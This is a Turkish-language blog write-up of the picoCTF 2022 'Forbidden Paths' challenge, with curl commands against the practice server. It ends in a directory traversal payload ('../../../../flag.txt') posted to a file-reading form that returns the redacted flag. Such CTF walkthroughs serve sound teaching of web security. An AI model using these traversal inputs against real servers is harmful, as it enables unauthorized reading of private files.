Post

picoCTF 2022 | Forbidden Paths WriteUp

Bu yazıda, picoCTF platformunda yer alan “Forbidden Paths” isimli meydan okumayı çözeceğiz. Meydan okumanın açıklamasında, web sitesindeki dosyaların /usr/share/nginx/html/ dizininde olduğu ve bayrağın /flag.txt dosyasında olduğu yazıyor.

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Users\Appdone\Desktop>curl http://saturn.picoctf.net:55055
...
    <h1>Web eReader</h1>
    <p>..</p>
    <p>divine-comedy.txt</p>
    <p>oliver-twist.txt</p>
    <p>the-happy-prince.txt</p>

    <form role="form" action="read.php" method="post">
      <input type="text" name="filename" placeholder="Filename" required></br>
      <button type="submit" name="read">Read</button>
    </form>
...

Web uygulamasında, girilen dosyanın içeriğini başka bir sayfaya dahil eden bir form bulunuyor. Doğrudan /flag.txt olarak sayfaya dahil etmeye çalıştığımızda aşağıdaki hatayı alıyoruz.

1
2
3
C:\Users\Appdone\Desktop>curl http://saturn.picoctf.net:55055/read.php -X POST -d "filename=/flag.txt"
...
Not Authorized

Web uygulamasının bulunduğu dizinin /usr/share/nginx/html/ olduğunu biliyoruz. Bu durumda başına “../” ifadesini kök dizine gelene kadar kullanırsak bir ihtimal bayrağın bulunduğu dosyayı görüntüleyebiliriz. “../” ifadesi bir alt satır demektir. bu ifadeyi yan yana 4 kez kullandığımızda kök dizine ulaşmış oluruz.

1
2
3
4
C:\Users\Appdone\Desktop>curl http://saturn.picoctf.net:55055/read.php -X POST -d "filename=../../../../flag.txt"
...
picoCTF{***}
...
This post is licensed under CC BY 4.0 by the author.